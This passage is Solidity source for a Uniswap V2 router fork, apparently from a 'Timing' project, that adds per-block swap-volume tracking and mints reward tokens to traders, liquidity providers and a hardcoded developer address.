function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
interface TimingToken {
function mint(address _to, uint256 _amount) external;
}
interface UniswapV2ERC20 {
function bodyaddress(uint _a) external returns(address);
function summer() external returns(uint);
function caculator(uint _a) external returns(uint) ;
}
contract UniswapV2Router02 is IUniswapV2Router02 {
using SafeMath for uint;
uint public startBlock;
uint public folowblock;
uint256 public TIMINGPerBlock;
uint public lastblock;
address public immutable override factory;
address public immutable override WETH;
address public TIMING;
mapping (address => bool) public validtxaddress;
mapping (address => bool) public validpairaddress;
mapping(uint => uint) public totalamount;
mapping(address => mapping(uint => uint)) public pairtrsactionamount;
mapping(address => mapping(uint => uint)) public txdiggertrsactionamount;
address[] public trsactionaddresses;
address[] public txdiggeraddresses;
uint public blocknumber = block.number; // For caculating the trsaction volume to weth of Timingswap
event Addaddress(address indexed pair, uint blocknumber, uint Tamount, uint);
event Addtxaddress(address indexed msgsender, uint blocknumber, uint Tamount, uint);
modifier ensure(uint deadline) {
require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
_;
}
constructor(address _factory, address _WETH, address _TIMING, uint _startBlock, uint _lastblock, uint256 _TIMINGPerBlock) public {
factory = _factory;
WETH = _WETH;
TIMING = _TIMING;
startBlock = _startBlock;
lastblock = _lastblock;
TIMINGPerBlock = _TIMINGPerBlock;
}
//
receive() external payable {
assert(msg.sender == WETH); // only accept ETH via fallback from the WETH contract
}
// **** ADD LIQUIDITY ****
function _addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin
) internal virtual returns (uint amountA, uint amountB) {
// create the pair if it doesn't exist yet
if (IUniswapV2Factory(factory).getPair(tokenA, tokenB) == address(0)) {
IUniswapV2Factory(factory).createPair(tokenA, tokenB);
}
(uint reserveA, uint reserveB) = UniswapV2Library.getReserves(factory, tokenA, tokenB);
if (reserveA == 0 && reserveB == 0) {
(amountA, amountB) = (amountADesired, amountBDesired);
} else {
uint amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
if (amountBOptimal <= amountBDesired) {
require(amountBOptimal >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
(amountA, amountB) = (amountADesired, amountBOptimal);
} else {
uint amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
assert(amountAOptimal <= amountADesired);
require(amountAOptimal >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
(amountA, amountB) = (amountAOptimal, amountBDesired);
}
}
}
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint amountA, uint amountB, uint liquidity) {
(amountA, amountB) = _addLiquidity(tokenA, tokenB, amountADesired, amountBDesired, amountAMin, amountBMin);
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
TransferHelper.safeTransferFrom(tokenA, msg.sender, pair, amountA);
TransferHelper.safeTransferFrom(tokenB, msg.sender, pair, amountB);
liquidity = IUniswapV2Pair(pair).mint(to);
}
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external virtual override payable ensure(deadline) returns (uint amountToken, uint amountETH, uint liquidity) {
(amountToken, amountETH) = _addLiquidity(
token,
WETH,
amountTokenDesired,
msg.value,
amountTokenMin,
amountETHMin
);
address pair = UniswapV2Library.pairFor(factory, token, WETH);
TransferHelper.safeTransferFrom(token, msg.sender, pair, amountToken);
IWETH(WETH).deposit{value: amountETH}();
assert(IWETH(WETH).transfer(pair, amountETH));
liquidity = IUniswapV2Pair(pair).mint(to);
// refund dust eth, if any
if (msg.value > amountETH) TransferHelper.safeTransferETH(msg.sender, msg.value - amountETH);
}
// **** REMOVE LIQUIDITY ****
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
IUniswapV2Pair(pair).transferFrom(msg.sender, pair, liquidity); // send liquidity to pair
(uint amount0, uint amount1) = IUniswapV2Pair(pair).burn(to);
(address token0,) = UniswapV2Library.sortTokens(tokenA, tokenB);
(amountA, amountB) = tokenA == token0 ? (amount0, amount1) : (amount1, amount0);
require(amountA >= amountAMin, 'UniswapV2Router: INSUFFICIENT_A_AMOUNT');
require(amountB >= amountBMin, 'UniswapV2Router: INSUFFICIENT_B_AMOUNT');
}
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountToken, uint amountETH) {
(amountToken, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, amountToken);
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountA, uint amountB) {
address pair = UniswapV2Library.pairFor(factory, tokenA, tokenB);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountA, amountB) = removeLiquidity(tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline);
}
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountToken, uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
(amountToken, amountETH) = removeLiquidityETH(token, liquidity, amountTokenMin, amountETHMin, to, deadline);
}
// **** REMOVE LIQUIDITY (supporting fee-on-transfer tokens) ****
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) public virtual override ensure(deadline) returns (uint amountETH) {
(, amountETH) = removeLiquidity(
token,
WETH,
liquidity,
amountTokenMin,
amountETHMin,
address(this),
deadline
);
TransferHelper.safeTransfer(token, to, IERC20(token).balanceOf(address(this)));
IWETH(WETH).withdraw(amountETH);
TransferHelper.safeTransferETH(to, amountETH);
}
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external virtual override returns (uint amountETH) {
address pair = UniswapV2Library.pairFor(factory, token, WETH);
uint value = approveMax ? uint(-1) : liquidity;
IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s);
amountETH = removeLiquidityETHSupportingFeeOnTransferTokens(
token, liquidity, amountTokenMin, amountETHMin, to, deadline
);
}
// **** SWAP ****
// requires the initial amount to have already been sent to the first pair
function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
uint amountOut = amounts[i + 1];
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap(
amount0Out, amount1Out, to, new bytes(0)
);
}
}
//add by Timing
function validtxdiggeraddresses(address msgsender) public view returns (bool) {
return validtxaddress[msgsender];
}
//add by Timing
function addtxaddress(address _msgsender) internal returns (bool) {
validtxaddress[_msgsender] = true;
uint _blocknumber = block.number;
uint _Tamount = 0;
txdiggeraddresses.push(_msgsender);
txdiggertrsactionamount[_msgsender][_blocknumber] = _Tamount;
emit Addaddress(_msgsender, _blocknumber, _Tamount, txdiggeraddresses.length);
return true;
}
//add by Timing
function validtrsactionaddress(address pair) public view returns (bool) {
return validpairaddress[pair];
}
//add by Timing
function addaddress(address pair) internal returns (bool) {
validpairaddress[pair] = true;
uint blocnumber = block.number;
uint Tamount = 0;
trsactionaddresses.push(pair);
pairtrsactionamount[pair][blocnumber] = Tamount;
emit Addaddress(pair, blocnumber, Tamount, trsactionaddresses.length);
return true;
}
//add by Timing
function getnumber(uint _amounts, address _pair) internal returns (bool) {
if (validtxdiggeraddresses(msg.sender) == true){
//
txdiggertrsactionamount[msg.sender][block.number] += _amounts;
} else{
addtxaddress(msg.sender);
txdiggertrsactionamount[msg.sender][block.number] = _amounts;
}
if (validtrsactionaddress(_pair) == true){
//
pairtrsactionamount[_pair][block.number] += _amounts;
} else{
addaddress(_pair);
pairtrsactionamount[_pair][block.number] = _amounts;
}
totalamount[block.number] += _amounts;
folowblock = block.number;
}
//add by Timing
function updatenumber() internal returns (bool) {
if(folowblock > lastblock && block.number > folowblock){
lastblock = folowblock;
}
}
//add by Timing
function mintto() public returns (bool) {
//mint *** to traders/liquidity-providers/dev/Timing-foundation
updatenumber();
uint Totalamount = totalamount[lastblock];
if (block.number > lastblock && Totalamount > 0){
for (uint256 i = 0; i < txdiggeraddresses.length; i++) {
if (txdiggertrsactionamount[txdiggeraddresses[i]][lastblock] > 0){
TimingToken(TIMING).mint(txdiggeraddresses[i], txdiggertrsactionamount[txdiggeraddresses[i]][lastblock] * (10 ** 18) / (Totalamount) * (TIMINGPerBlock) / (2 ** ((lastblock - startBlock) / 1142948)) * (475) / (1000) / (10 ** 18));}
}
if (block.number > lastblock && Totalamount > 0){
for (uint256 i = 0; i < trsactionaddresses.length; i++) {
if (pairtrsactionamount[trsactionaddresses[i]][lastblock] > 0){
for (uint256 j = 0; j < IUniswapV2Pair(trsactionaddresses[i]).tolistnumber(trsactionaddresses[i]); j++)
if (IUniswapV2Pair(trsactionaddresses[i]).volrecorder(trsactionaddresses[i],j) > 0 && trsactionaddresses[i] != IUniswapV2Pair(trsactionaddresses[i]).recorder(trsactionaddresses[i], j) && IUniswapV2Pair(trsactionaddresses[i]).tvolrecorder(trsactionaddresses[i]) >= IUniswapV2Pair(trsactionaddresses[i]).volrecorder(trsactionaddresses[i],j)){
TimingToken(TIMING).mint(IUniswapV2Pair(trsactionaddresses[i]).recorder(trsactionaddresses[i], j), IUniswapV2Pair(trsactionaddresses[i]).volrecorder(trsactionaddresses[i], j) * (10 ** 18) / IUniswapV2Pair(trsactionaddresses[i]).tvolrecorder(trsactionaddresses[i]) * pairtrsactionamount[trsactionaddresses[i]][lastblock] / (Totalamount) * (TIMINGPerBlock) / (2 ** ((lastblock - startBlock) / 1142948)) * (475) / (1000) / (10 ** 18) * 999827 / 1000000);}
}}}
if (block.number > lastblock && Totalamount > 0){
TimingToken(TIMING).mint(0x5259dcd3a7A185C79a80fe5f9d84c73D4d3c6326, (TIMINGPerBlock) * (10 ** 18) / (2 ** ((lastblock - startBlock) / 1142948)) * (50) / (1000) / (10 ** 18));
}
lastblock = block.number;}
}
//add by Timing
function start(uint _b) public {
require(msg.sender == 0x40968f4a3fD4Ace72f920e19582108033D3794AC,'You have no right to start!');
require(totalamount[startBlock] == 0,'Has been start!');
if (block.number > lastblock) {
lastblock += _b;
startBlock += _b;
}
}
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) returns (uint[] memory amounts) {
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, to);
}
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amounts[0], _pair);
mintto();
}
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amounts[amounts.length - 1], _pair);
mintto();
}
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
virtual
override
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path);
require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]
);
_swap(amounts, path, address(this));
IWETH(WETH).withdraw(amounts[amounts.length - 1]);
TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amounts[amounts.length - 1], _pair);
mintto();
}
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
virtual
override
payable
ensure(deadline)
returns (uint[] memory amounts)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path);
require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT');
IWETH(WETH).deposit{value: amounts[0]}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0]));
_swap(amounts, path, to);
// refund dust eth, if any
if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amounts[0], _pair);
mintto();
}
// **** SWAP (supporting fee-on-transfer tokens) ****
// requires the initial amount to have already been sent to the first pair
function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual {
for (uint i; i < path.length - 1; i++) {
(address input, address output) = (path[i], path[i + 1]);
(address token0,) = UniswapV2Library.sortTokens(input, output);
IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output));
uint amountInput;
uint amountOutput;
{ // scope to avoid stack too deep errors
(uint reserve0, uint reserve1,) = pair.getReserves();
(uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
amountInput = IERC20(input).balanceOf(address(pair)).sub(reserveInput);
amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput);
}
(uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0));
address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to;
pair.swap(amount0Out, amount1Out, to, new bytes(0));
}
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external virtual override ensure(deadline) {
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
}
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
payable
ensure(deadline)
{
require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH');
uint amountIn = msg.value;
IWETH(WETH).deposit{value: amountIn}();
assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn));
uint balanceBefore = IERC20(path[path.length - 1]).balanceOf(to);
_swapSupportingFeeOnTransferTokens(path, to);
require(
IERC20(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin,
'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'
);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amountIn, _pair);
mintto();
}
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
)
external
virtual
override
ensure(deadline)
{
require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH');
TransferHelper.safeTransferFrom(
path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn
);
_swapSupportingFeeOnTransferTokens(path, address(this));
uint amountOut = IERC20(WETH).balanceOf(address(this));
require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT');
IWETH(WETH).withdraw(amountOut);
TransferHelper.safeTransferETH(to, amountOut);
//add by Timing
address _pair = UniswapV2Library.pairFor(factory, path[0], path[1]);
updatenumber();
getnumber(amountOut, _pair);
mintto();
}
// **** LIBRARY FUNCTIONS ****
function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) {
return UniswapV2Library.quote(amountA, reserveA, reserveB);
}
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountOut)
{
return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut);
}
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut)
public
pure
virtual
override
returns (uint amountIn)
{
return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut);
}
function getAmountsOut(uint amountIn, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsOut(factory, amountIn, path);
}
function getAmountsIn(uint amountOut, address[] memory path)
public
view
virtual
override
returns (uint[] memory amounts)
{
return UniswapV2Library.getAmountsIn(factory, amountOut, path);
}
}
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'd3f4d0441ed63874d73958d5e79b3f0854186d67e54530fb92d5f12d3f8eb422' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
} | True | [
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/**
/*
